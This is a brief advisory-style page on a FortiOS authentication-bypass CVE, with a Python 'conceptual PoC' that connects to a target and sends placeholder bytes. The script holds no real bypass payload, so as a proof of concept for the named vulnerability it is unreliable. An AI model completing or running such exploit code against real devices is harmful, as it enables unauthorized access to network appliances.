CVE-2025-53847 Fortinet FortiOS认证绕过漏洞

# Disclaimer: This is a conceptual PoC for educational purposes only. # Do not use against systems without authorization. import socket import struct def send_exploit_packet(target_ip, target_port): # Vulnerability involves missing auth on a specific handler. # This is a placeholder for the packet structure. # Crafted packet based on vulnerability analysis. try: # Example: Establish connection (Protocol dependent) # For illustration, assuming TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) # Malicious payload placeholder # In a real scenario, this would contain the specific bypass bytes payload = b"\x00\x01\x02\x03..." sock.send(payload) print(f"[+] Packet sent to {target_ip}:{target_port}") # Check for response (optional) response = sock.recv(1024) print(f"[+] Received response: {response}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # Usage # send_exploit_packet("192.168.1.1", 80)